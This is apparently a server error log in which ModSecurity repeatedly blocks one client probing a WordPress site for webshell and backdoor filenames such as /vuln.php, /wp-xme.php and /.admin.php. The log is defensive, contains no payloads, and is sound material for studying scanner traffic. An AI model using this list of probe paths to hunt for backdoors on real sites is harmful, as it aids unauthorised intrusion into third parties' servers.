[Fri Apr 24 01:48:59.803851 2026] [:error] [pid 59700:tid 59714] [client 74.248.129.192:64916] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.dj/index.php"] [unique_id "aepbi5XyGZJFeAIDWtl2_AAAAUw"]
[Fri Apr 24 01:49:00.318421 2026] [:error] [pid 25635:tid 25642] [client 74.248.129.192:38044] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aepbjMRxv6UsgRGKB3JRZgAAAQM"]
[Fri Apr 24 01:49:00.852193 2026] [:error] [pid 64998:tid 65004] [client 74.248.129.192:65280] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aepbjIV5EysYcTLjmwgysQAAAcI"]
[Fri Apr 24 01:49:01.366154 2026] [:error] [pid 42972:tid 43018] [client 74.248.129.192:64835] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aepbjcOAb-3sOknsk4fCmwAAAEI"]
[Fri Apr 24 01:49:01.933267 2026] [:error] [pid 42972:tid 43029] [client 74.248.129.192:64912] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aepbjcOAb-3sOknsk4fCnwAAAE0"]
[Fri Apr 24 01:49:02.482978 2026] [:error] [pid 42972:tid 43022] [client 74.248.129.192:18755] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.tmb/"] [unique_id "aepbjsOAb-3sOknsk4fCowAAAEY"]
[Fri Apr 24 01:49:03.019203 2026] [:error] [pid 64998:tid 65021] [client 74.248.129.192:64386] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.tmb/"] [unique_id "aepbj4V5EysYcTLjmwgytQAAAdM"]
[Fri Apr 24 01:49:03.557007 2026] [:error] [pid 42972:tid 43039] [client 74.248.129.192:65259] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.tmb/"] [unique_id "aepbj8OAb-3sOknsk4fCqQAAAFc"]
[Fri Apr 24 01:49:04.106923 2026] [:error] [pid 42972:tid 43018] [client 74.248.129.192:18815] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.tmb/"] [unique_id "aepbkMOAb-3sOknsk4fCqwAAAEI"]
[Fri Apr 24 01:49:04.620529 2026] [:error] [pid 64998:tid 65026] [client 74.248.129.192:65340] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.admin.php"] [unique_id "aepbkIV5EysYcTLjmwgyuwAAAdg"]
[Fri Apr 24 01:49:05.178945 2026] [:error] [pid 64998:tid 65008] [client 74.248.129.192:18775] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.admin.php"] [unique_id "aepbkYV5EysYcTLjmwgyvQAAAcY"]
[Fri Apr 24 01:49:05.764209 2026] [:error] [pid 42973:tid 43064] [client 74.248.129.192:65304] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.admin.php"] [unique_id "aepbkW6I0QqmmmLTHE2DYAAAAJU"]
[Fri Apr 24 01:49:06.354250 2026] [:error] [pid 59700:tid 59720] [client 74.248.129.192:38038] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.admin.php"] [unique_id "aepbkpXyGZJFeAIDWtl3AQAAAVI"]
[Fri Apr 24 01:49:06.906036 2026] [:error] [pid 42972:tid 43024] [client 74.248.129.192:9634] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sw.php"] [unique_id "aepbksOAb-3sOknsk4fCtgAAAEg"]
[Fri Apr 24 01:49:07.454100 2026] [:error] [pid 42972:tid 43018] [client 74.248.129.192:18774] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sw.php"] [unique_id "aepbk8OAb-3sOknsk4fCuwAAAEI"]
[Fri Apr 24 01:49:08.014999 2026] [:error] [pid 25635:tid 25647] [client 74.248.129.192:64854] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sw.php"] [unique_id "aepblMRxv6UsgRGKB3JRawAAAQg"]
[Fri Apr 24 01:49:08.568443 2026] [:error] [pid 64998:tid 65023] [client 74.248.129.192:9631] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sw.php"] [unique_id "aepblIV5EysYcTLjmwgywAAAAdU"]
[Fri Apr 24 01:49:09.143115 2026] [:error] [pid 64998:tid 65014] [client 74.248.129.192:38027] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vuln.php"] [unique_id "aepblYV5EysYcTLjmwgywgAAAcw"]
[Fri Apr 24 01:49:09.706201 2026] [:error] [pid 64998:tid 65011] [client 74.248.129.192:9623] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vuln.php"] [unique_id "aepblYV5EysYcTLjmwgyxgAAAck"]
[Fri Apr 24 01:49:10.237135 2026] [:error] [pid 64998:tid 65004] [client 74.248.129.192:9643] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vuln.php"] [unique_id "aepbloV5EysYcTLjmwgyzQAAAcI"]
[Fri Apr 24 01:49:10.754041 2026] [:error] [pid 64998:tid 65013] [client 74.248.129.192:64950] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vuln.php"] [unique_id "aepbloV5EysYcTLjmwgy0wAAAcs"]
[Fri Apr 24 01:49:11.310490 2026] [:error] [pid 64998:tid 65006] [client 74.248.129.192:65236] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-temp.php"] [unique_id "aepbl4V5EysYcTLjmwgy1gAAAcQ"]
[Fri Apr 24 01:49:11.855117 2026] [:error] [pid 64998:tid 65020] [client 74.248.129.192:65281] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-temp.php"] [unique_id "aepbl4V5EysYcTLjmwgy2QAAAdI"]
[Fri Apr 24 01:49:12.403537 2026] [:error] [pid 64998:tid 65005] [client 74.248.129.192:65262] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-temp.php"] [unique_id "aepbmIV5EysYcTLjmwgy2wAAAcM"]
[Fri Apr 24 01:49:12.962586 2026] [:error] [pid 64998:tid 65022] [client 74.248.129.192:64911] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-temp.php"] [unique_id "aepbmIV5EysYcTLjmwgy5gAAAdQ"]
[Fri Apr 24 01:49:13.512077 2026] [:error] [pid 64998:tid 65013] [client 74.248.129.192:65277] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sxdfrt.php"] [unique_id "aepbmYV5EysYcTLjmwgy7gAAAcs"]
[Fri Apr 24 01:49:14.056434 2026] [:error] [pid 64998:tid 65024] [client 74.248.129.192:18788] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sxdfrt.php"] [unique_id "aepbmoV5EysYcTLjmwgy8gAAAdY"]
[Fri Apr 24 01:49:14.608548 2026] [:error] [pid 43083:tid 43099] [client 74.248.129.192:18797] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sxdfrt.php"] [unique_id "aepbmjC5hrvNXosL83KtQQAAAM4"]
[Fri Apr 24 01:49:15.167394 2026] [:error] [pid 42971:tid 42990] [client 74.248.129.192:9622] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sxdfrt.php"] [unique_id "aepbmzEP2_5RswrH8bFQpAAAAAQ"]
[Fri Apr 24 01:49:15.712167 2026] [:error] [pid 59700:tid 59725] [client 74.248.129.192:38035] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aepbm5XyGZJFeAIDWtl3BgAAAVc"]
[Fri Apr 24 01:49:16.256664 2026] [:error] [pid 64998:tid 65016] [client 74.248.129.192:65290] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aepbnIV5EysYcTLjmwgy9QAAAc4"]
[Fri Apr 24 01:49:16.777765 2026] [:error] [pid 42973:tid 43057] [client 74.248.129.192:64352] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aepbnG6I0QqmmmLTHE2DcwAAAI4"]
[Fri Apr 24 01:49:17.408228 2026] [:error] [pid 42973:tid 43043] [client 74.248.129.192:38063] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aepbnW6I0QqmmmLTHE2DdQAAAIA"]
[Fri Apr 24 01:49:17.971111 2026] [:error] [pid 43083:tid 43087] [client 74.248.129.192:64909] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aepbnTC5hrvNXosL83KtRAAAAMI"]
[Fri Apr 24 01:49:18.531011 2026] [:error] [pid 42972:tid 43023] [client 74.248.129.192:38041] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aepbnsOAb-3sOknsk4fC0wAAAEc"]
[Fri Apr 24 01:49:19.076433 2026] [:error] [pid 42972:tid 43039] [client 74.248.129.192:18781] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aepbn8OAb-3sOknsk4fC1gAAAFc"]
[Fri Apr 24 01:49:19.596881 2026] [:error] [pid 46953:tid 46961] [client 74.248.129.192:65256] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aepbn0nlpdHh-P6wKbp5hAAAAkU"]
[Fri Apr 24 01:49:20.136373 2026] [:error] [pid 42972:tid 43017] [client 74.248.129.192:65251] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-bda.php"] [unique_id "aepboMOAb-3sOknsk4fC2AAAAEE"]
[Fri Apr 24 01:49:20.676906 2026] [:error] [pid 42972:tid 43029] [client 74.248.129.192:65245] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-bda.php"] [unique_id "aepboMOAb-3sOknsk4fC3AAAAE0"]
[Fri Apr 24 01:49:21.207585 2026] [:error] [pid 42971:tid 42987] [client 74.248.129.192:64846] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-bda.php"] [unique_id "aepboTEP2_5RswrH8bFQqQAAAAE"]
[Fri Apr 24 01:49:22.051186 2026] [:error] [pid 42973:tid 43060] [client 74.248.129.192:38030] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-bda.php"] [unique_id "aepbom6I0QqmmmLTHE2DeAAAAJE"]
[Fri Apr 24 01:49:22.595547 2026] [:error] [pid 25635:tid 25660] [client 74.248.129.192:38046] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bhm.php"] [unique_id "aepbosRxv6UsgRGKB3JRdAAAARU"]
[Fri Apr 24 01:49:23.158555 2026] [:error] [pid 46953:tid 46966] [client 74.248.129.192:65247] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bhm.php"] [unique_id "aepbo0nlpdHh-P6wKbp5jAAAAko"]
[Fri Apr 24 01:49:23.708389 2026] [:error] [pid 42971:tid 43004] [client 74.248.129.192:38045] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bhm.php"] [unique_id "aepbozEP2_5RswrH8bFQrwAAABI"]
[Fri Apr 24 01:49:24.243430 2026] [:error] [pid 65000:tid 65042] [client 74.248.129.192:65313] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bhm.php"] [unique_id "aepbpL6vRb9j6psK2ZZ6qQAAAgk"]
[Fri Apr 24 01:49:24.774146 2026] [:error] [pid 43083:tid 43090] [client 74.248.129.192:64859] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmu.php"] [unique_id "aepbpDC5hrvNXosL83KtRgAAAMU"]
[Fri Apr 24 01:49:25.297929 2026] [:error] [pid 46953:tid 46969] [client 74.248.129.192:9635] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmu.php"] [unique_id "aepbpUnlpdHh-P6wKbp5lAAAAk0"]
[Fri Apr 24 01:49:25.847055 2026] [:error] [pid 25635:tid 25639] [client 74.248.129.192:65334] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmu.php"] [unique_id "aepbpcRxv6UsgRGKB3JRewAAAQA"]
[Fri Apr 24 01:49:26.394799 2026] [:error] [pid 59700:tid 59710] [client 74.248.129.192:65276] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmu.php"] [unique_id "aepbppXyGZJFeAIDWtl3DwAAAUg"]
[Fri Apr 24 01:49:26.989720 2026] [:error] [pid 43083:tid 43101] [client 74.248.129.192:64423] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ref.php"] [unique_id "aepbpjC5hrvNXosL83KtTAAAANA"]
[Fri Apr 24 01:49:27.533439 2026] [:error] [pid 59700:tid 59716] [client 74.248.129.192:9659] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ref.php"] [unique_id "aepbp5XyGZJFeAIDWtl3FAAAAU4"]
[Fri Apr 24 01:49:28.098316 2026] [:error] [pid 59700:tid 59709] [client 74.248.129.192:65270] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ref.php"] [unique_id "aepbqJXyGZJFeAIDWtl3FgAAAUc"]
[Fri Apr 24 01:49:28.654730 2026] [:error] [pid 65000:tid 65055] [client 74.248.129.192:63366] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ref.php"] [unique_id "aepbqL6vRb9j6psK2ZZ6qwAAAhY"]
[Fri Apr 24 01:49:29.191074 2026] [:error] [pid 65000:tid 65038] [client 74.248.129.192:9604] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-xme.php"] [unique_id "aepbqb6vRb9j6psK2ZZ6rgAAAgU"]
[Fri Apr 24 01:49:29.745190 2026] [:error] [pid 65000:tid 65057] [client 74.248.129.192:64865] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-xme.php"] [unique_id "aepbqb6vRb9j6psK2ZZ6sQAAAhg"]
